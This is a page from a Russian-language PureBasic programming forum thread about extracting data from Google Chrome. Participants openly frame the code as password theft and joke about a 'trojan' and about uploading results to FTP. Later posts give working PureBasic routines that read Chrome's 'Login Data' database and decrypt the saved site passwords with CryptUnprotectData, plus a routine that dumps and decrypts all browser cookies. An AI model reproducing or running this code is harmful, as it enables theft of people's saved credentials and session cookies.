purebasic.info
http://purebasic.info/phpBB3ex/

Cookies с Google Chrome
http://purebasic.info/phpBB3ex/viewtopic.php?f=10&t=3138
Страница 2 из 2

Автор:  Никита Однороб [ Сб май 11, 2013 11:17 pm ]
Заголовок сообщения: 

JUST_EVIL, кидай, жду :D

Автор:  kvitaliy [ Вс май 12, 2013 6:10 am ]
Заголовок сообщения: 

JUST_EVIL писал(а):
Они мне не нужны

Ты видать тормозишь парень...
Ладно, спрошу по другому. Как запущенные браузеры Опера или IE мешают своровать пароли Хрома?
Или так спрошу. Зачем в коде есть это
Код:
1
Or FindWindow_("IEFrame",0) Or  FindWindow_("OpWindow",0) 


если они тебе не нужны?
JUST_EVIL писал(а):
только права сделаю только на запись на фтп аккаунте

Реально тормозишь. После того, как ты свою рабочую программку Никите отдашь, уже не важно будет, какие у тебя права на FTP. Может случиться так, что это уже будет не твой FTP :D

Автор:  Никита Однороб [ Вс май 12, 2013 7:31 am ]
Заголовок сообщения: 

Виталий, всю контору палишь :D

Ну я жду трояна 8)

Автор:  pablov [ Пн май 13, 2013 1:01 am ]
Заголовок сообщения: 

И я тоже написал программу, хело ворд называется, а чо
Код:
1
Result = MessageRequester("","Привет парни" , #PB_MessageRequester_Ok)


Автор:  kvitaliy [ Пн май 13, 2013 5:06 am ]
Заголовок сообщения: 

pablov писал(а):
И я тоже написал программу

А чо отдельную тему не создал?
Ты правила не нарушай, написал прогу- создай тему, напиши к коду описание, типа для чего она, версия пурика, система, на которой проверялся код ну и т.п.

Автор:  2kpb [ Сб дек 09, 2017 5:07 am ]
Заголовок сообщения:  Re: Cookies с Google Chrome

Здравствуйте.
Почему-то алгоритм кода с прошлой страницы не работает, ф-ция CryptUnprotectData возвращается с ошибкой (Параметр задан не верно).

Код:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
Structure _CRYPTOAPI_BLOB 
  cbData.l          ; count, in bytes, of data
  *Blob
EndStructure
 
key$ = "01000000d08...должен быть создан на вашей машине...f08c"
 
Procedure.s UnprotectData(*Blob, Size.l)
  Protected Indata._CRYPTOAPI_BLOB
  Protected Outdata._CRYPTOAPI_BLOB
  Indata\Blob = *Blob
  Indata\cbData = Size
  If OpenLibrary(0, "crypt32.dll")
    CryptUnprotectData.l = GetFunction(0, "CryptUnprotectData")
    If CallFunctionFast(CryptUnprotectData, @Indata, 0, 0, 0, 0, 1, @Outdata)
      ProcedureReturn PeekS(Outdata\Blob, Outdata\cbData)
    Else
      Debug GetLastError_()
    EndIf
  EndIf  
  ProcedureReturn ""
EndProcedure  
 
 
Debug UnprotectData(@key$, Len)



Что может быть не так?

Автор:  repeat [ Сб дек 09, 2017 5:44 am ]
Заголовок сообщения:  Re: Cookies с Google Chrome

2kpb писал(а):
Что может быть не так?
Возможно от того, что в коде "Size" равно 0.

Автор:  2kpb [ Сб дек 09, 2017 9:46 am ]
Заголовок сообщения:  Re: Cookies с Google Chrome

Прошу прощения, из кода просто "выпала" строка
Код:
1
Len.l = Len(key$)


Причина не в этом, функция CryptUnprotectData хочет какой-то другой формат данных...
Менять 0 там где это указатель на строку, или структуру тоже вроде пробовал, не помогло, хотя в коде на прошлой странице по словам SergeyA итак должно работать.

Автор:  Volkoff [ Пн дек 11, 2017 2:02 am ]
Заголовок сообщения:  Re: Cookies с Google Chrome

2kpb писал(а):
Что может быть не так?


MSDN на страничке структуры DATA_BLOB намекает:
Цитата:
structure contains an arbitrary array of bytes

поэтому нужно не строку с хексом туда забивать а "сырые" байты и все будет работать :)

Автор:  aytist valera [ Ср июл 25, 2018 2:52 pm ]
Заголовок сообщения:  Re: Cookies с Google Chrome

я канеш не вовремя, но все-таки дам ответ по поводу куки, может кому пригодится, проверял в 5.60, все работает, как и этот код
SergeyA писал(а):
Есть вариант полегче (работало в 4.51, в других не знаю)

Код:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
 
Enumeration
  #Database
  #Crypt32
EndEnumeration  
 
Structure CHROMIUM
  value1.s{256}
  value2.s{128}
  value3.s{128}
EndStructure  
 
Structure DATA_BLOB
  Size.l
  *Blob
EndStructure
 
Procedure.s UnprotectData(*Blob, Size.l)
  Protected Indata.DATA_BLOB, Outdata.DATA_BLOB
  Indata\Blob = *Blob
  Indata\Size = Size
  If OpenLibrary(#Crypt32, "crypt32.dll")
    If CallFunction(#Crypt32, "CryptUnprotectData", @Indata, 0, 0, 0, 0, 1, @Outdata)
      ProcedureReturn PeekS(Outdata\Blob, Outdata\Size, #PB_Ascii)
    EndIf
  EndIf  
  ProcedureReturn ""
EndProcedure  
 
Procedure.i Chromium_PasswordRecovery(File.s, *Proc)
  Protected Dim Blob.b(0), Result.i, Size.q, cdata.CHROMIUM
  If UseSQLiteDatabase()
    If OpenDatabase(#Database, File, "", "", #PB_Database_SQLite)
      If DatabaseQuery(#Database, "SELECT origin_url, username_value, password_value FROM logins")
        While NextDatabaseRow(#Database)
          cdata\value1 = GetDatabaseString(#Database, 0)
          cdata\value2 = GetDatabaseString(#Database, 1)
          Size = DatabaseColumnSize(#Database, 2)
          ReDim Blob(Size)
          If GetDatabaseBlob(#Database, 2, @Blob(0), Size)
            cdata\value3 = UnprotectData(@Blob(0), Size)
          EndIf
          ReDim Blob(0)
          CallFunctionFast(*Proc, @cdata)
        Wend
        Result = 1
        FinishDatabaseQuery(#Database)
      EndIf  
      CloseDatabase(#Database)
    EndIf
  EndIf  
  ProcedureReturn Result
EndProcedure  
 
Procedure Test(*Param)
  Protected *cdata.CHROMIUM = *Param
  Debug *cdata\value1
  Debug *cdata\value2
  Debug *cdata\value3
  Debug ""
EndProcedure  
 
Chromium_PasswordRecovery("D:\Documents and Settings\путь до файла\Login Data", @Test())
 


Сбор куки:
Код:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
 
Enumeration
  #Database
  #Crypt32
EndEnumeration  
 
Global Cook.s = ""
 
Structure DATA_BLOB
  Size.l
  *Blob
EndStructure
 
Procedure.s UnprotectData(*Blob, Size.l)
  Protected Indata.DATA_BLOB, Outdata.DATA_BLOB
  Indata\Blob = *Blob
  Indata\Size = Size
  If OpenLibrary(#Crypt32, "crypt32.dll")
    If CallFunction(#Crypt32, "CryptUnprotectData", @Indata, 0, 0, 0, 0, 1, @Outdata)
      ProcedureReturn PeekS(Outdata\Blob, Outdata\Size, #PB_Ascii)
    EndIf
  EndIf  
  ProcedureReturn ""
EndProcedure  
 
Procedure Chromium_CookiesExporter(File.s)
  Protected Dim Blob.b(0), Result.i, Size.q, Dim Rows.s(14)
  If UseSQLiteDatabase()
    If OpenDatabase(#Database, File, "", "", #PB_Database_SQLite)
      If DatabaseQuery(#Database, "SELECT * FROM cookies")
        While NextDatabaseRow(#Database)
          For i = 0 To 11
          Rows(i) = GetDatabaseString(#Database, i)
          Next
          Size = DatabaseColumnSize(#Database, 12)
          ReDim Blob(Size)
          If GetDatabaseBlob(#Database, 12, @Blob(0), Size)
            Rows(12) = UnprotectData(@Blob(0), Size)
          EndIf
          ReDim Blob(0)
          Rows(13) = GetDatabaseString(#Database, 13)
          For i = 0 To 13
            Cook.s = Cook.s + Rows(i) + " "
          Next
          Cook.s = Cook.s + #CRLF$
          Debug Cook.s
        Wend
        Result = 1
        FinishDatabaseQuery(#Database)
      EndIf  
      CloseDatabase(#Database)
    EndIf
  EndIf  
EndProcedure
 


Автор:  SereZa [ Ср июл 25, 2018 5:18 pm ]
Заголовок сообщения:  Re: Cookies с Google Chrome

хм... а ты случаем с сертификатами не дружишь? а так-же java как там она...

рассказываю: сначала была система простая. при заходе на https - браузер читал список сертификатов и выводил из в окошке для авторизации. я смог потом читать эти сертификаты с помощью pfx как-то там команд крипто апишных или вин апи или кто они там. кароче мне нужна была дата и имя.

потом эти засранцы изменили эти сертификаты и стандартными командами они уже не читаются. так-же изменили и систему авторизации. поскольку браузеры все активно начали выпиливать из себя поддержку java - эти товарищи сделали отдельную программу, которая висит в трее и видимо перехватывает момент авторизации на том сайте. то есть сначала java запускается, он предлагает указать пути до сертификатов, после этого он читает этот сертификат, видит дату и имя и только потом пропускает дальше на сайт в браузере. если у тебя 1 сертификат то как бы и пофиг. а если 10? каждому так каждый раз тыркать? геморой. вот я и делал подобную автоматизацию чтоб и сроки проверялись автоматом, и входило по одной кнопки. но после введения этой отдельный джавы - все накрылось медным тазом.

Страница 2 из 2 Часовой пояс: UTC + 3 часа
Powered by phpBB® Forum Software © phpBB Group
http://www.phpbb.com/